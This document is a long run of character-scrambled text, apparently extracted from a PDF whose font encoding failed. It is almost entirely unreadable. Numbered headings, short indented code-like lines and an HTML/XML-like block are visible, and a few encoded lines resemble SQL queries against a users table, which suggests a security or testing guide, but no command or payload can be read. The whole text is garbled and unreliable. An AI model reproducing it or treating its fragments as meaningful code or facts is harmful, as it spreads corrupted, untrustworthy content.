212345678 94
39
#324  7 D 8 ' 86 
6 3 !582
1 7 4 5 !3589

73 73587 4 5 !3589

212345678
19
#359 3 558 37 '
212345678 223 

0  37 21239

3 2 9584 86 1 3
886 *
212345678  322123 354 5
3232 2

. 8
97 5)78 5 959
3232 2
0 72)9 3 6
57  9 1589
 73  15 26 EFGH  186  26 H2) I&JKE1
 6 06 EFGH  186   3  8  LMNEOM
142  !3  67
 3  186 2 
26 H2) 86    4 . 
.  21234567842 359 2 2
7  3 212345678 85742
4
 3
6( 5 396589
23 0  67
3 8 3 86 38  33 3  17  9 15882  26
73 33 ! 
589 5852 8
7 38  06 H2) 8 34  3443)23  322123
6 37 354 2  1
68 &J0 2358
4  2 82 21239

79 285852 P5 9398244
82 ! 354 2*
Q&J0R$0JM"E* 212345678 354 5
212327
Q&J0RGHMSKPE* 2123354 2  6
!582
Q&J0R$0JRLITFE* 94
3 99
!582
Q&J0RSE"IE*  2865  212327

0123456789
3 863 8
00  8693589
582
0 ! 86  "
##
212327
0$!%! 359 3 &5589
212327
0%! 359 3 &5589

'1&27
0 ( )37  322123 5 95)*9
3232 5)2

7)* 8 3#44 '1 78
7)5
967

! ! + ,- ..  3232 9
#6/ 3 )
1 68
$0 ,- (95814  1 14 2!0! 3 !$ 0!4 354 2 %5
1 68  354 2
53589 582
37 
#38 2 3232 9 '1983585696  !0! 55! 0,! %$0!  354 2
, !07 8 ..... 0 37  3#684 ) 6 3 86  " 3 3)7 2 3232 9
79 /285853 8
589 5853 /69 :3283589
23..
-$ 8 1"92 (:3323582 2 221933 354 5
2
06 * 8 212345678 94&
3:9
82 582
9 6286)98 7)(9517' 2
2"189 '1' & )38
2*25623. !66 6 26 21 ;4 ) 2
<=>>?@AB=@BCDEFGHIJBKLBMNOPFQRBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBB
S "22)18 6286)5 623'. 0 ( )37 "22)18 8 38/ 2 & )383 2*256' 86#/  3
21623:)
2 85696. 0  21933 58 2
L?T?<AB<=>>?@ALBBUV=>BBWL?VXAYZX<=>>?@ALB[\?V?B]]]R
L?T?<AB<=>>?@ALBBUV=>BBWL?VX<=TX<=>>?@ALB[\?V?B]]]R
BBBBBBBBBBBBBBBBBBBBBBBBBB
"22)189

2
1 66 39
.
^_`abcdefghijikidlkmgjnok`kpqorsdsaskgbedaiftacf`
0 62*95)*98 8693(  ( & 86386 6 6289) '2) 26 2123458789
8 34 ) 78 3#44 (56784'
5 2 ( & 8638u v*7)3 3 / 68u
'19 58u 3 863 8 8 4 / 6 38. !6 ) (56789
39
7)*
3 & )3 )
26 21234567882 86 4 )u 6786 )  " 15: 2
'19 58 862
286542)
 9(91: 623)2
6745
w2 6742 )
x
'19 58 7 ) 73
2 & )8yu 2117 2 4 / 6 38)
5 )  862421)2 6745
23 3232 26)72 2  )186 )
. 0 z
#19  )186 ) 2 83247 7358
2 (9)4398244u 2 ( & 8639  )186 ) " 17 2 :2 2885. !6 ) 39
#/ 3 )*

7233 1 86 z 26 2123456783 78 3#44 " 15)*42)  /2 '832)7u 26 * 8 :)


2189"939
)2

82&53 212345678
#)* 6 3 3 47639832)7. 06 7 * ) * 17 7)*
3
7 39 212345678
" 15)*9
23 ) / 67
699
96'
)2
w82)149{y. 06 212345678 ( & 8638) 26 2 5447
699
96' " 15)*9
23 869
58  
x #)4#63 3)7
( & 86397
#)* 6 3 w1 / 9" )3 82)149{y
"9&
3 7)3 517'8
#)* 6 3 w"9& 13 7)3 2379) 82)149{y
1 983517'8
#)* 6 3 w1 9 82)149{y
4 / 6 387 3 863
#)* 6 3 w" ;"91:1379) 3 83 82)149{y
x6 7u  8
#)* 6 3 w"91:1379)y

0123456789
3 863 8
!!"#$!%!"!&"

06 '( 8 ) 15*(9
3+ ,96582 3-+3*, 3 .2*/5 782*0 '( 17 120 )2+2*389

2 780 0

-4 3
65
4 * 4 ./3236/
26 212345678 .589 58 )2+2*438273 26 7+23 1289 ) 1565*

+ 863: ;< == >/*3 +0 9+? 1232428 01.7*783+239+@ ,33)@AABBB?71 4 9). *3?7*=9A1232A7+23 A


120C37)8A223
/)C2*1CD 394 +(A22*1DCE?8,3. F
G?06 212345678 2
3/5 78 5 9.5*(27*2
865.4243 0 .261 .589 582 '( H6 , (+ ? 06
5 9.5*(9
23 26 2 5447 )2+2*389

2 , 3 = 1 +I3 *7@
8 33 *2. =+9. 4J1232428 K
8 33 *2. =+9. 4J1232=7 K
E?L6 7*7372 76537M8 5 9.5*(
86I38 ? N,, 6 26 OPOQR?7D0 5 9.5*(3
53.589 *7 8 H6
* 4 3 21*7? 0 7*7372 76537M8 5 9.5*(42* 26 2 5447 )2+2.3 +
3
2
3/2 765 *7@
14C*2.
39*3+9 C=7 8
2/173C=7 C1 83
423
'+9/*1C1/.)C1 83
9'C2+3,74 C1 83
39+ C1/.)C1 83
/8 +C1/.)C1 83
S?T 6+ 5 5 9.5*(9
3+ ,96232 2? ,, 6 2 =9++58 39*3+9 =7 32+32 .23
53.589 *7?
N,, 6 26 2 5447 9UV )2+2*3893

721*7@
2 3 + 1232428 423
/) 39*3+9 =7 39 3+23 K
N63
-4 35 * 26 H6 4 6+ 5 5 9.5*(3 55 I3M 9UV )2+2*389+3
3+ ,96*7? 0
)2+2*3889+ 86 +
63 @
WXYZX[\]^_`_[^X
aZbYXb]a_^XZ_cdecb]WbX]fYXYgYWb]hiiih]ZbWbXc_jW]^_YZakelbc_j
]]]]`Ymc_jdecbW]ii
]]]]`Ymc_j`b`gbZW]ii
]]]]`YmfYXYdecbW]ii
]]]]`Yme^WXY^abW]ii
]]]]`Ymc_jkeWX_Zn]ii
c_jdecb
]]jZ_[\]o]p
]]]]qrsturvwwrxyvzv{vriiiry|zx}~tov€x~q
]]]]qrst‚rvwwrxyvzv{vriiiry|zx}~toƒ€x~q
]]]]qrst„rvwwrxyvzv{vriiiry|zx}~to…€x~q
]]†]We‡b]ˆtt‰
]]jZ_[\]ˆ]p

0123456789
3 863 8



 !"#!$%%!&'$($)$!***!+,+)-./(01 
 !"2!$%%!&'$($)$!***!'0+/(01 
 !"3!$%%!&'$($)$!***!)-.%/(01 
 !"/!$%%!&'$($)$!***!"+-'(/(01 
 !"4!$%%!&'$($)$!***!"+-'*/(01 5

663
78 39 : ;<3323=23> ?@0A
:3 26 944
86B3 33 C2D2:E889DF
GF0 H983 3D =9658D2 9
586B3 33 C 15:I  8B3= 39J 7:1B3=23>F 0 8K K 8B38 C2D2:E827L
2 3 D 1232428 D E98 D 1232428 <:37 E2:E <87:K 42E
<C E9:3D9 ;7 M
2 3 D 1232428 D E98 D E2:E M
2 3 D 1232428 9C : D 8 3 9K8M
06 KI 8
7D:I 6 3
49 2 8H5
H589 58582 H2N1 26
86O 3 8 D67>3 5387::7 2 H587


7D:I 6 34 F 0 3 N 8 212345678 8H2 53H589 58D2 ?@PQA4 CB3 33 8 K1CD9KD2H9
5 :2

D :1
68D F 06 RDE2 8 34 : 26 6STRUV W XPTRUV D<37:9
23 = 3 2
2 H26:7 6 :
E D2F P7:1
3 C2D2:E8:5 KI
O 7: C2D2:E85 9H5:42 869
58 7886 ;9K 2 :7 2 C2D2:E8
C2D2H3 D
3F 0 H :38 8 4 37 38 3744
O 7:4769 O6 HH>142: ;<3=23 L
Y3 N 8 212345678 53873
Y
7N 7 3 ; =286:5 > 2123273 82KI KI4 H>19:
7N 7 3 94N
3<H9
23 D7:3 E82
2 HZ8 3
Y7:3 KD73587 H
53787= 39
82KI
7=2KI=23>

Y212332D32 9H 53873 82KI


7=2KI582 [E82
8H2\
YN9K98< 385K27 21239
53873 82KI
7=2KI582
6KI H7:32 C2D2:E87:1B3583 21 H K 2
78 3
69 C2D2:E8L
-*%]^!%$++_&'(`a,a(0$(.%bca(0$d&efbgga,

hijklmnopqrstjkutvunwpqxyz{j|jkj
06 212345678 }ND23 D8 68 KI7
;9:398 N H69N J =9KI 26 2123456783 C5D=<62H982: 3744 :J
3744
O 7H:4769 2
2 H2658 78 =286:5 =23N2F Q2N:98 K3744867D : H 78H D3 26 2123456783
; =286:5 > 2
2 H26589
3 N 8
7D F 66 :2KI H K
737338K 3 N :3 2 ; N 8638 89D5:J
=786 :

9D : H 862421 H>198B32:7 2 H K 89 7:3 D;2E ; O 3 3 H KN :83J 2


9D5442:
H K 89 2123 H
8 212345678 94N
3<H9
:2
H K
H2D21:7<
F 644 : 26 8 34 :
2 ; N 8638 E82
9 I2: = 3J 2H I 498B37 8 : H 86Z
737 26 D= 39 ;<:
E7>
7D3J 2626 26
2 5447 H
D 89:23
96=23L
Y}N 212345678 94N
3<H =966521582
Y212345678 HZ
7187 35D9 587 C2D2H3 D
H>198B3582
YH K869DB3589
37D 8
P78 26 212345678 KI
7678 : =286:5 3 D9;9DD58J H I:
32D32 H2J 86 D
6 3 26  3
2 233 N :98 : H K85 396=23J :2KI9: ;9:398J =9KI 6 : N7894 7 H>198B3587 7K:I
D
3
7:3 33 KIO:
2 3 D8 68 89D5:F 6== 6 H7: :2KI944 867:3 : H K
82 >8B32:7 26

0123456789
3 863 8
212345678 8 91 2735853 3 6183 06 212345678
6 8 7 5542 26 2 5447
86
6
3  3 28692 2
2 267 2  3 87 8673  8 
6 37 354 5
!"#$% 2
2 26582 0 6 37 354 5
9 &2 86526323933 354 5
23 ' 3 

 &
58 958354 5
4( )*37
 3232 
23 
2
) 17 95 354 2
3  3

2 344 + 3 895 0 !"#$ 3 9658 )22,82


---./0120-3405-6786-19-90:0.2;<=>=7?@
0 6 37 354 2 3 ' 8 3
4  269982 78
17
2 95 354 5

2 2
1 68
8 34 
--90:0.2-AA-B/CD-6786-5E0/0-AA-F-----------------------
-------------------
0 (198*3587 )22,8 8 34  5
9 5396933 2 289 (85 0 !"#$G2
721933
HIJ )22,8 ,82
2

9 9  2'3(17 2 2 !"#$ 2123  7 &3 + 


78862 6 3 3
2 958354 2 21239
2 0 !"#$ 2865 23 & 7
  '37 2 3&  8 2123354 53
 3 87 8673 2
7 8 8 26 212345678
633
86526323933 21239
23 3232 2623
1 7 
,7(
23 2 (8*323  
0 !"#$ 8 *38  '3 3 26 2 2)83
3K2 (198 582 786  ,82
2  2865 (
5 32 2865 3 !"#$ 
1 7*,7('53
(198*327
L59 3 '5589
MLNO#H PO#Q#HRO#% 2
2 26582 0 359 3 '558 289 (2 &

63 8 3  3 96 4 2  2865 ( 8 26 212345678 2
6 0 359 3 '558 2'542
& )9, 15 78 &8  ' 7
  & 2 MSJ )22,89
 33  6 87 
3 5 396(

6 83 8
 8 8 1)929
23 78  *23 0 359 3 '558  & 2 2&9449
K
2 2885 535&2 9&
  & 8 44  ' 863 7 8 3 863 7 0 359 3 '558
3 96232 2 2
----./0120-T/C.0UV/0-<786-WX-19
-------YZ>[@
)22,,82 337
 0 3 96933 '558 2
7 8 0P"G4  186 73 &
-----.1::-<786WXF
328*35882  38 8 # (186  535&2 9&   95 354 2
3 ' 7
  4 
 6 + 3
3 #
9 53  863 38 2 
912 263 7886221( 359 3 &
9 123(   #6   ,2768 2865 2352
)8 7 26 N2, ) 15'2 8 3
\06  1& 
91 86 
6 33 *( 21233*)8 3 96232 2
--./0120-2]T0->Y^<_@-19-C`a0.2-WAAXF
b0 
912 26 86 
6 33 *( 354 2G3*)8 1 775 582
--./0120-2]T0--YY^<_@-19-21`:0-CB->Y^<_@F---------------------
-----------------

0123456789
3 863 8
06  12 263 3 96 359 3 
19 582 6   78862387
3
3 82 26 !6! 84  1 775 3 21233 8"
##$%&'(&#)*+$(,-+#./01##234546780509:##%&(*%+##88;3<=#,>
######3?@=A?#B?C99D
E0 3 96933  354 2F86 G  23  H   6 2 I0JK 3

2
2 267"
###>&L&$(#M#)%-N#('OL&2./012PPP::D
QR6795
SRTUVUTWX 2
226582" 0 86792 8!1  8 86   H 9 26 21933
  68G 94Y
39
96  ZY 2 728   3  88  9665 1 7 06 ZY   68
  H 9
Q  Y37 2 958 21239
23
Q  Y37 2
7 8 !8 2 95882 5 3965853
QI7  2
2 26582" 0 37   [276 8 2 39237
8 G 3 2Y3583 3 86
 3! \75 3Y2  186 73  ]WK G 3 0 37  3 9658 22[82"
####$%&'(&#(%,^^&%#8/01#')(&%#_#O&)-%&#,+>&%(#_#*`a'(&#_#a&L&(&#
####-+#84B?4#`Lb>cL#B?C99D
0 37  ! 86   2  3 87 8673 4763983582 8 3 2442 5 H 9 26 2 2354 5

8 2  2865  5 32 73 33 354 5



d6d337 21239658 2 3923765 23
QR2Y53 82 SRefW0X 2865 232" 0 82Y53 82 86   H 9
 d 8542 3 
2
3  8 2 221239
23 8 2  2865  5 32 73 33 94Y
39
23H 

9 2 26 73 33

2[89 237 94Y
39
9  2Y3933 5 396589
  3 19 53 6 38
 
2
958 82 94Y
32742 65 32 2 3d44 3
d 38 Y 7
  2  2Y3585 H 1
2944  3 8  3! 2  Y 8638 
06 212345678 ZY23  68 5 32 598 8 34  2542 9 2 23Y2 26942 2
95447
82 
19835853 78 2

9  3 86
8H 2
71  H 9 2
95447 3  687

6 8   5 Y2   2  3H
9
[72 2 86
8 6  3 2 3   6! 745Y2H 1
 3 2
d 3 
5 396582 72337 8  78 gY23  68 8 3
 dd8 9112

6 7 2
95447 
[7
6d

! 3 8 5373 3 26 ZY  642 06 212345678 ZY23  68


869
5898  7"
Q012345678 ZY23  687 832372
75 2863582" 6  84  253 26 ZY23  683

 3  67 U   3 73   71 584   8 1983589
23
 863 77 26
21234567842
Q0
95447 21234567882
73233582" W73
95442  3 33
H 26 2123456789
5  
71  2123
6 ! 2
2 2658 97
5Y2 78 3 93982H 63    3 263 8 
93982  4 [8 7H 7   235882 86  21933  85Y52
 5 396582 26
2
2 26589
2 6 
73587 71! ! Y 6!Y H 9 2 7 82  7 9
9623982
 
53 5842H 8 3  71
33! 33   06 53  37 71!862
 9886244
71!862
H 2
5 F
3 78 78 32323
Q3 863 8 26 ZY23  68 !33" 6  2
8!447 939
42  21933 3 863 8


 17 71  9398244  3H 
7
37 2
Q82 3 863 8
Q2
2 26589
2123
6 8
3 863 8


0123456789
3 863 8
21239
3
68  73 73587 86245 9
3 863 8
998 385 68
23
9857
 3 
68 
82 1983582 26 6 33 1983589
23 ! 86 "   67
 3  186 
2358
4   67 786  #91 23 9   4769 87
 8
2 198358
8 78862
37 2
95447 5 2$939
96 %95447 #9398 5 32 598
 3  9 2
5 396589
23  3  7
78 44 8
4  238
  786  2 2944  3"
# 21239
5 2944 26 8  2 7456582
78
3 863 8 26 &23  68 2 233
#95821239
53  8 26 & 82 
4 & 21239
2 2 86'
8 06 21239
344
#9584 86526232
 3
86526323933 21239
  
2 5 359 3 21239
4
86535882 5 2
 ( 3  3

' 8 #9584 53 33 21239
 06 21239
4 $383
 38  8 37
2 4 3 3 91 9
 ) 7   4 3 3 91 2 *7!989#3 (3 2379
+ 7!
9$98     3 9 2123#9589
4 53 33 21239
23 78 886 31 73 5 7

' 8
6  $929
1983582 0 82 
1983582 7233 1983582
869 232
2
' 8 2
2 26589
78 06 & #
!7
7233  5 3962
26 2123456789

87 $22!827 8 53 33 212386 


6 3 7 78

' 8
6  $929
3 863 8
  88678 3 863
#3323582 2   88678 3 863 87
 8 #358 8 3 9123

 9 87
' 3 2
95447 #
!7
23  767 8 53 7 26 & 212345678 8542
0   88678 3 863
78  '3 3 2
932
  
86 3 22 78 1727
82
5 3967

 67 5 358 0 87
 8 3 863 #3233589
35  3 99
96
4 5377 26 2123456783 2
$91
!78 5 3962342 06 2123456789
75 5852 344 &3 78
5
967

,0-./0 8 1)+%21) 8 1$929

)3021% 8 (*021% 8 1$929

+45 8!7$3 5 959


2865 232
6789:;<;8;=:>?@<7A;
B2 26 21234567842 2 5 39632358 ! 2
95442 3 6 212345678 
 38  2

9
2 1983583 344 $8 
 863' ! 86 " 777 06  8 $8
! 2 9
7 22244 86  '
26 8 3  8
9# 7
389
23 8  714  2 2944 $3
"
198358 33 # 9 1
26 391589
23 06 2123 
3 8
9 27233 26 2 5447
$8
3 ! 86 "  2327
+ 1354 2 3 96232 2 26  1 37 21239
 68
CCCCDEFGHFCHGIJFCKLMLNCOPPPQR
06 21239
53  8 2 8 1354 542
CCCCSTUEFEHCSTHVCKLMLNCUFJFDHCWCXEVYCPPPR
06 73 33 82  3 8 82 8673" 
8638  06 94
3 3$853 #' 

' 46 82 532 2
3589
2  3 86'
8 ) 354 2 3 8
9 $ 15 892
 7
26 2 5447 
3


0123456789
3 863 8
 232 3  6 33 

 232 3  6 33 5

 232 3  6 33 359 3 5589

 232 3  6 33  

 912 !9"23
96# $7!23
96587  %
&38

6 " 94
3'9
23 7"1 #198(32"7 !2%) 3&& "7
* 7 +33 2 $7!23
96933 94
3'93
#198(32"5"
,
-06 7"3 33 94
3' 3& 8 , 06 94
3' 3& 8 8 " 2 3& 8 %) 8 8 3
4 " 3&44
.84 " !2 #8' $23  %, 06 2/  "186  8 34 " . 15' %)  6+ 3& 8
9
$ 3+8% !2" 9%727 3& 8 8 0767
27 3& 8 , 0 9%7
27 3& 8 8 34 " 2 12 /82

$286"5 239"
(!3 $ ) 67 2  6+3* 2 4! 3 .22"/82
55556789:586;795<=>?=5@985ABA@9C5DEFGH
0 0767
727 3& 8 8 34 " 3") % 8 "  %864"7
2
7 & 3  6+* 26 71 !9"23
96# IJ
.22"/8 2/ 8 34 "K
55556789:586;795<=>?=5C:LM5NL7AOB5DEFGH
-0 #198(358 3 863 8 , 0 $7!23
96# 8 5 #198(3933 
P*  *
QR1S*T U,,V 4
&18"
"+68 ,
WXYZ[\]^_^\Ỳ^_ab^c^_^
0 82 4+!(38
9 78 863
8% !2" 2 $7!23
96# 94
3'9
892 !3  * $786 "
+091' $23* $9%) 2 $7!23
96# 94
3' "  $286"5 2
7 2  6+867"34 03%% 3 "8% 2132
$ 3+8%
3, (% . 15' %)
5555@979N85DdeDfegg5h:LO5gg
2 2
i
1 68  1") "  !5 3967
* $2 i  6+3 21'"
2 85$96* 2117% 2
5555@979N85j5h:LO5gg
2 2
42"
721933 4! 3" 4+!3 2 !7886221933  6+

& * 3 $53 0

863 "7 2""2

09%215852,  ) "
9 26 i  6+ " !
9"0 7
3'842
3 $ 3 2
7 "8 .9%29
42" $286"5 3
!5 396# " !

, 6 " 33
&68
3
"+76"7,
k2 865(3933  6+
3 $96'"
4 2 8542* 2

9 2""2
 %!2 #8(3582 3&44 $ 3+8% 78

("5
967
K
-%) 8 12  "186 

&6! 3 "3 78 359%235
2 865(3933  6+ 21233(.'8, 06 
IJ  !  8 34 " 26 2 5447 #19" $96$23# 3 86526323933  6+K
55lmE=<E5<=>?E5nmo>=5p=5qr<EsEme5>5qr<EsEme5l5=t5=5u5>vH
55qrtEm<5qr<o5nmo>=5w=?xEt5pdeyvH
55tE?El<5j5zmoD5nmo>=H5
0 7"3542" 2 R  6+ 86 865(3933  6+* 733 26 21233(.'8 $ )" 2 86526323587 .22"/8
86  . 2 354 2 1 07"(/7#42", 01239
0 !73
9 "  $ 3 6 "  6+
"
3
3 21"7*
1
1 68
9 933 86  . 2  6+ 3
,
-k2 2 12 "  359%232 2 865(3933  6+3
&6! 3 "3 * 2

9 2  
 /$2"76'8 2
2 26$23#*  ) "
9 2  6+3 7"3 "95  6+3 $966'
3 8 2 37%% 3


0123456789
3 863 8
2 354 2   3 7 6
3
 0 37   21232 9 2 3447  6! "198# 582 8 3$
788%38 2
7  3 865%3933  6! 3232 53
&'()*+,-.)/0.)1
06 21234567842$ 359 3 21239
1 $
476398%3582 78 26 7
2 22 3! 212345678
 21239

6 323967
 06  537"8 212345678
6!
7
 6!  9 45 222$389

2 2
542$
222   2  232$1" 222$3893 7 26 45 $  3  8 222$38
86 3 3
3232 26 8  867$4 $ 344 222$38 78  3 2 $    ! 45 86 
59
23
9
9623 67233 7 $ 9$398 9 26
 133 86  29$3982$    $ 26 53 2 2
$2

72 $    ! 26 $!682

9
53 9
96" 222$389

  3$
 23582 663
2  86 3%2#83 $  67
45 8$ 3379$ 352158$2

06 45 8$ 3379$ 8 34 $ 2
7 $8 9 12 9$ 4 733 45 2 2
9 2$ 222$38 
3 78
3232 26 
$ 
%5$3 235882 5$2
 663 9 7
 9 2  286$5 "3"

22933 3
9 3 26 53 2 2
3"  9   86 3 9
96" 222$3893 2 222$38
86 3 3 78 2542 9 2  : 12
$3  $
 86  $7 5$323"  $186 3 29 2
 286$5 "3"
166
2
 8 33 5# $ 3 6 6 2 ;<8 3232 26  2$   6!3 0
 6!4 4 733 3
3  45 222$38842$ 21#
53 7$3
# 383
3=
>>>?@A@BCD>E>FGHIHJK>L>MNOP>QRASRTRT>UVHNH>BRW>E>XF>
>>>Y>@BRWZQR[Q>YFX>>F\
72 2  286$5 " 26 53 $95 269$98%3" $  33 
>>>]@]@X>>^A>>>X@XEX@X
3
3 7867   2

9 26
 133 222$3889 2
>>>GHIHJK>L>MNOP>QRASRTRT>UVHNH>BRW>E>X]@]@X>^A>X@XEX@X\>>>
86 2 7$1 $ 3 
3 78862 9 21$7  89 98244
5 7 2  $186 3 2 2 4 733
222$38
>>>>]@]@X>\>_R`RQR>aA^S>QRASRTRT>bcRAR>>X@XEX@X
2 2
9 786 $

9
3 583
 3! 222$38
 2 86   9 12 3  23582 

2 2
27
>>>>>GHIHJK>L>MNOP>QRASRTRT>UVHNH>BRW>E>X]@]@X\
>>>>>dHIHKH>MNOP>QRASeTRT>UVHNH>X@XEX@X\
0  $37 3521589
$ 2 4 9 28933 2223 
2 2298244 $!68 7 3 2
222$389

356789  235852  3 1
6$7
0 1 7 3 863
8 34 $ 78 344 867$3 $ #323 26 $!68 0 f738g 3$9 97 8 25$ 582
2 225$ 26 2 5447 3 863

 $
 23582=
hi 8! 2
2 2658 867$3 3 863 8 j2 15# 26 45 8$ 3379$ 352158 $!68 k
h012345678 2#173= 2 4 2%3 33 1 7 29 737
2 $!68  998# 3857 29 737
2 3 863 8
h012345678 4 239 58 3 863
 $46! 8 1 86
6
$
78 3
26 212345678 21239

8
hl4 867$3 2#173 26 92 537"8  $186   ! 7 1 7 
$!68

0123456789
3 863 8
01239 2 68 2 86   8 2
7 8

6337 21239 2 68
 !"#$%#!%&'#"$#%(')*+(*,+-
./01"$%#!-2*13%!%$4#!1 &
0 56773  186  26 3 8 13 9773 3 863 186  :;  212345678 < 3
3 863 8
2
2 28 7=  8
 3 186 > 0 56773  186  2 3 863 84  81 = 8  22
?2865 ?23@A ?9= 8 =B38= 26 2123456783A 22
3232 53 =  =21933 5 2:9342
?966C
> D65 32 476398B3?23@A ?9= 2 3 863

967863 8  C3233?23@
A =982 8
=86 <  
983C5 ?23@
2 3 863? 6 86;
8= 8
 6 3
> 06 7= 3 212345678
3223 23 = EFG 5 9542 ? 3  =217A 2?9 344 3 8635 2:9393 78 7 5 ? 3
32327> 0 3 863 71B3582 33 2 5677332 4 3 3? 3 26 7= 3 5 2:93 26 21234567842> 0
56773  186   7 2
 3
6 :939
42 9= 2 ?23@
886 
0 3 863
? 6 7= 3 212345678 3232 9 ?23
9
6 8
H59=2358 26 212345678 3232 9 EFG 5 9542 33
7 38? 6 7 3 26 EFG
5 954@ 33 788623 38
G ? 38= 3 21 2 359 3 21233232 2
42 33
 8 A 26
; 46 212345678
5 2:939
886 ?289 B3582
0 56773
 3 186  ?2865 232A 2 3 863 8 895 895 26 2 5447 :8
3

 =3 7
>012345678 5 2:9393 3232 26@ EFG 5 95 
86B38
I>012345678 2
3C5 78 5 2:9352

73 8
J>0  3 33 5 2:939
4@ 2
75 2863933 5 2:93 4 3 38 EFGK4 26 21234567842>
>H 863
C3233582
L>H 863

73
8
06 EFGK4  359 3 21239
4 3 383 2
 3 186  5 32 3232 26933 5232428 H 83M28
98635 9
 863; A 22
8 37:NO  3@1C852 = 6? 38;
>
0
 3
6
4  = 7353 C323C
4 2 56773 ?2865 2352> 06 8 :8 26 21239
23
B@ EFG 5 95 N: > 7:C3>P O 5 B3582> 06 EFG 5 95 86 
6 3 26 212345678
86 
6 33 3;
67> 06 EFG 2
9
3 2123 6 3232 2
23 78 359 82 273 26 2 5447 : 12
78 C32382
QQQQ
QQQQRSTUVQWXYZ[\]^_`ab_QX]c\d[]e^_fghij_Sk
QQQQRdlmlZXmk
QQQQQQQQRV\e[]Q[d^n`nQXUoc\dX^npbbqnQV\e[]]lUX^ncrl]dl]nQ
QQQQQQQQQQQQQQolZZs\Yd^ncrl]dl]nQV\e[]X]ltVXd^nunvk
QQQQQQQQRV\e[]Q[d^nwnQXUoc\dX^npbbxnQV\e[]]lUX^ndXXolynQ
QQQQQQQQQQQQQQolZZs\Yd^ndXXolynQV\e[]X]ltVXd^n]nvk
QQQQQQQQRvdlmlZXmk
QQQQ
QQQQ
0
 3
6 :84  2
 3 186  = 3M9 z379  3@1C85
 863;
2:z89 2393
:B3;

7 2 z 212345678?96


0123456789
3 863 8

 

!"# $%$&'( )*!+
$, $, -$, ./01&21.13 4,.5.#2'6
$5$-
#7%.%$&25813 4,8,, 8
99:;!! 2<22<22'6
=(# $&5$'6
>

06 ?@AB4 C 35D9 3 21239
23 4 3E 3FG
26 21234567842H
I((,, / 

!"#J%#J&'( )*!+
,#J-
(K,L1,#J& .%$, &'.%$, I&'.
%M =N J1&2!=.*1,2''6
=,#J6
>

O63
EP 3Q C 7C1R3S23T
2 4 3E 3E33 32D32 9US96
2VW89 T1T 212345678 3 863
X
YZ[\]^_`aZ\ZbcZde[fZc
0 g 83h9UV 3
D 3D C186 D ij E886 3 33 3 863
EDCj 6 3 3 476398R3 26 212345678
3 863 8S 6X 0 k76 3Q8 3 DU
3E44
G EC4E6Q 3 863k 212393 78 35U9i23
lmnC
W79C5 78 3 863H 06 2
2 U26589
opq k G 3C
D 863G W F2 2CC2
CQD68 r
S9ij 2
D3 knC
W7T
P2 T42C FT Us
E1C
B X 0 3 863 35U9i23585D2 2 g 83h9UV 3
D C186 D S 3Q8i 3 21 2 k S286C5 T7
6 Q V2D2CW89
t iDr 47 C3js6 3u k F ij68D
8
8Q447 P78862F5386585D2X 0 F ij6 33 3 P
Cj8i

8Q44
E6P 3 CG 78
86 D
863S 3Q
8 4QPR3S 3Q
X 0 3 863
S 6 CQD687 V9C39

E3S 3Q
r 2S9 2
7F E 3
94F
3nU9
D3
E886 S289C R3S23T 2 45678
C3
7F E 3 D3

X
vwxwbyzc{b|b}Za~{[fdya€b‚ƒb\Z„…†Zd‡[…ˆZ†bd{`afy[{

l‰2D2CW8B9D7 C35 3 3 863H O6 C 3 863 3RVn8 2DD2 869 i5 r S9ij 2 k VR38G


2 k S286C5 T
5 32 Pi6 C1Q
6 87 3 P
Cj8i
UsP 389D53X 0 3 P
Cj8i
7F E 8 3ED3CS 3
iD2k7
n82C r ij 86
E6 78354T P5 2863P2 2 3 P
Cj8i U 3Š 7 3P S286C5 S23nC
ij
8WD7V3 Cj P 3 78X 0 3 863
S 6 CQD687 V9C39

E3S 3Q
r 2S9 2
7F E 3 94F
3nU9
D3

E886 S289C R3S23T 2 45678
C3
7F E 3 D3

X

0123456789
3 863 8
8 3 863 06  8 98635 9
3 863 83 869 5  91
  88678 3 863 0 91 2   88678 3 863
  168 83 269
3  683 67
0
 3 186  3!8 3 21 26  8 3 863
 1
2" 65852 8 26
 1

2 4567821239

2 3#3! #886 289 $35852


%  8 3 863 0
 3 186  
7&79 3 29 23
# 6 3 3 476398$3 2 3  87
3 863
68  0 3 863
6 867 5 23 2 3  8 3
8 '   %#44


#6#33 4 5 $323 2 867 5 3
7 8
986 582 2 (
#187 "223 
 2 5 6237

2")89 2327
'   8 4 88  0 3 86321239
2" 6585
 863  6 3! 2
 186  3  87
22
3 78637
5'2
0123*97 35 3 3 86 0
 3 186  3!8 3 21 2 3 863 6 86
8 8 4  !
21239
23
9   5 5852 863 476398$3    3  3 8632123893   5 
 )27683 58863 2 28 4  ! 212389&958
7' #  )27682 78 2
+,-.+/.012344.23564732
0 89:3 88
 3 186  ) '2 26 212345678 3  87 3 863
68
8

73
8
2 35923582 0 3 863  2'358 "8 7 2
# 3
6! "939
4 5 2

0123&958
7' # 8  26 3 ' 13 212345678 )8239 
2865 2352 26 213&9589
86 8

#  3!
;'  8 3 863 3 96582
2  2'321 :<= "22)89

7' # 8
2  2'358 "223  7
 21582 >"  783 8865 865 2
12248652?
2 3 863
&3323582 0 &3323585 3#44  2'3587 1 78  3! 0 35923933
6 19
 8998 "56298 8
#3 
4  1 6 33  2'358
  1
3
8  2
 3 186  3#44 3 ' 8$3 "223  78 35923 2&7
8
8 354 562398  ' $383 869 5 323 2 &33587 21239
  0 3 "223 

 # ' 67

26  8  2'3587 "8



# 38 73 73 " 15 2
2")89 23
7"$38 71 ' 2
"22)8 !
86$38 71 ' 
0  186 
 # 91 9
23 476398$3 2 3 86321239
!5 $3582 78
@ABA.CD2E.F.G.+,-.+/012344.H323123564732.IJK.3L3M3N


0123456789
3 863 8


!"#$%!&'()*"+,'-.-/0"!&'12!"(!!(3
45 2865
6212345678 872 3 863
689:
;79:2 73587 3 863
621237:3 <=73587 3 863
6>1 77 3 863
63 =? 87 3 863
6?23
9:@85<7 3 863
A/B0%*C-DEE'&F$FG2--"-.-/0"!&'12!"(!(/3
45 2865 H9
962398 2123791 68 2 3 863 88 <@4
I3> 5
27:19 J 3 863 K5 L3582 2
L>5:3 89:
;7J?96
42 3 863 893323582M ?2 87
= 8 53 ? 3 3=:7 2
I> 3
6K 89:
;7J=2 8 L<@ >78862 26 
N9:=2M ?2 : 7 87
=O 39>544 N8 2 P N9:3=2
;2 791 7J198L3582 <@
78 44Q
6 ? 3K 7=3
4 :
12 3 863 893323582M ?2 87
= 8 53 ? 3 3=:7 2
I> 3
6K 89:
